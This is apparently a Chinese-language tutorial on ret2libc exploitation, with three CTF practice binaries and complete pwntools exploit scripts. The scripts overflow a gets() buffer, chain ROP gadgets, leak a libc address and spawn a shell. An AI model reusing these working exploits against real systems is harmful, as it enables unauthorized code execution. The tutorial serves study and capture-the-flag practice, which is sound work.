ROP-ret2libc原理及应用

01 前置知识

  • 获取shell的方式

    • 序源码自带系统命令函数 -简单溢出
    • 可以找到system函数的plt的绝对地址 -ret2text
    • 利用输入函数,将shellcode写入到程序中 -ret2shellcode
    • 利用ROPGadget配合int 0x80调用execve -ret2Syscall
    • 利用Libc获取system函数的相对位置. -ret2Libc
  • plt/got概念

    • plt表:Procedure Linkage Table程序联动表(内部函数表)
    • got表:Global Offset Table 全局偏移表(全局函数表)
    • 下图跳过了_dl_runtime_resolve函数地址重定位的过程,直接展示重定位后的调用。
      由于Libc的延时绑定机制,只有执行过的函数才会在got表中存下来。

02 Ret2libc原理

Libc就是Linux下的C函数库,ret2libc 这种攻击方式主要是针对 动态链接(Dynamic linking) 编译的程序,因为正常情况下是无法在程序中找到像 system() 、execve() 这种系统级函数(如果程序中直接包含了这种函数就可以直接控制返回地址指向他们,而不用通过这种麻烦的方式)。因为程序是动态链接生成的,所以在程序运行时会调用 libc.so (程序被装载时,动态链接器会将程序所有所需的动态链接库加载至进程空间,libc.so 就是其中最基本的一个)libc.so 是 linux 下 C 语言库中的运行库glibc 的动态链接版,并且 libc.so 中包含了大量的可以利用的函数,包括 system() 、execve() 等系统级函数,我们可以通过找到这些函数在内存中的地址覆盖掉返回地址来获得当前进程的控制权。通常情况下,我们会选择执行 system(“/bin/sh”) 来打开 shell, 如此就只剩下两个问题:

1、找到 system() 函数的地址;

2、在内存中找到 “/bin/sh” 这个字符串的地址。

  • 攻击流程
1
2
3
4
5
6
7
8
9
10
1、泄露一个ret2libc函数的位置
2、获取libc的版本
3、根据偏移获取shell和sh的位置
4、执行程序获取shell

libc版本
1、https://libc.blukat.me。 2. LibcSearcher

1、求libc基地址(函数动态地址-函数偏移量)
2、求其他函数地址(基地址+函数偏移量)

03 实例分析

3.1 ret2libc1

  • 伪代码

有一个gets函数会有溢出漏洞,程序开启了NX,说明我们在栈中的数据没有执行权限,我们需要使用ROP方式进行绕过,我们使用gdb的pattern进行测试溢出偏移量是112

接下里我们要做的是执行系统函数system(“/bin/sh”),来获取系统的权限

所以我们可以想象我们的payload是:’a’ * 112 + system_plt + 0x0000000 + bin_sh_addr

我们需要system的plt地址以及字符串/bin/sh的地址

通过ida知道system的plt地址

获得/bin/sh的地址:

exp:

1
2
3
4
5
6
7
from pwn import *
p = process('./ret2libc1')
system_plt_addr = 0x08048460
bin_sh_addr = 0x08048720
payload = flat(['a' * 112 , system_plt_addr , 0x00000000 , bin_sh_addr])
p.sendline(payload)
p.interactive()

3.2 ret2libc2

  • 伪代码

  • 解题思路

这道题和第一个题没有太大区别,唯一的区别在于找不到字符串/bin/sh的地址了。所以我们需要重新构造。

除了在程序中查找/bin/sh的地址,我们也可以直接让用户输入。所以我们可以构造以下payload

payload = ‘a’ + get_plt + pop_ebx + bin_sh + system_plt + 0x00000000 + bin_sh

payload里的pop_ebx还是pop eax都无所谓,但我们使用ROPgadget在搜索的时候只能搜到pop ebx;ret

buf变量的值是bss段的内容,我们使用vmmap就可以看到有w权限的bss,在最末尾-16来保存我们gets输入的内容。

1
2
3
4
5
6
7
8
9
10
from pwn import *
p = process('./ret2libc2')
system_plt = 0x08048490
gets_plt = 0x08048460
buf = 0x0804a0e4 - 16
pop_ebx_addr = 0x0804843d
payload = flat(['a' * 112,gets_plt,pop_ebx_addr,buf,system_plt,0x00000000,buf])
pause()
p.sendline(payload)
p.interactive()

3.3 ret2libc3

发现有gets函数,存在漏洞,使用GDB加载程序:gdb ./ret2libc3

发现有NX保护,我们使用ROP进行绕过。

我们可以构造payload = ‘a’ * offset + system_plt+0x00000000 + bin_sh_addr

发现没有system和/bin/sh,所以我们只能靠自己计算这两个的值了。

那么我们如何得到 system 函数的地址呢?这里就主要利用了两个知识点

  • system 函数属于 libc,而 libc.so 动态链接库中的函数之间相对偏移是固定的。
  • 即使程序有 ASLR 保护,也只是针对于地址中间位进行随机,最低的 12 位并不会发生改变。而 libc 在 github 上有人进行收集,如下
  • https://github.com/niklasb/libc-database

所以我们第一个要做的事情就是判断这个ret2libc3程序依赖的哪个libc,思路如下:

1、泄露一个ret2libc3函数的位置

2、获取libc的版本

3、根据偏移获取shell和sh的位置

4、执行程序获取shell

我们知道在Linux的程序中使用了延迟绑定机制,也就是说一个函数在没有执行前,你是不知道它的真实地址是什么的。而这个程序中我们能看到的有printf函数、gets函数。我们通过这两个函数来确定libc的版本。代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
from pwn import *
import time
p = process("./ret2libc3")
elf = ELF("./ret2libc3")
offset = 112
#要泄漏的函数的地址
target_func = 'puts'
#调用puts函数进行打印
puts_func = 'puts'
puts_plt = elf.plt[puts_func]
target_got = elf.got[target_func]
main_addr = elf.symbols['main']
#调用puts函数,打印泄漏函数的got地址,最后返回main函数,在32位程序中调用函数地址的第一个参数就是返回地址,后面的才是参数
payload = offset * 'a' + p32(puts_plt) + p32(main_addr) + p32(target_got)
#payload = flat([offset * 'a',puts_plt,main_addr,puts_got])
p.sendlineafter("Can you find it !?",payload)
print hex(u32(p.recv()[0:4]))

我们看一下结果:确实后12位是不变的,3e0。(一个字符4个字节,3 *4 = 12)

最后exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
#!/usr/bin/env python
# -*- coding: UTF-8 -*-
from pwn import *
from LibcSearcher import LibcSearcher
sh = process('./ret2libc3')
ret2libc3 = ELF('./ret2libc3')
rop = ROP(ret2libc3)
func = 'puts'
puts_plt = ret2libc3.plt['puts']
libc_start_main_got = ret2libc3.got[func]
main = ret2libc3.symbols['main']# 获取main函数地址
print "leak libc_start_main_got addr and return to main again"
payload = flat(['A' * 112, puts_plt, main, libc_start_main_got])
sh.sendlineafter('Can you find it !?', payload)
print "get the related addr"
#获取puts函数运行时的地址
libc_start_main_addr = u32(sh.recv()[0:4])
print libc_start_main_addr
# 实例化LibcSearcher对象
libc = LibcSearcher(func, libc_start_main_addr)
# 计算libc的初始地址(puts的动态地址-puts的偏移地址)
libcbase = libc_start_main_addr - libc.dump(func)
# 计算system地址
system_addr = libcbase + libc.dump('system')
# 计算/bin/sh地址
binsh_addr = libcbase + libc.dump('str_bin_sh')
print "get shell"
payload = flat(['A' * 104, system_addr, 0xdeadbeef, binsh_addr])
sh.sendline(payload)
sh.interactive()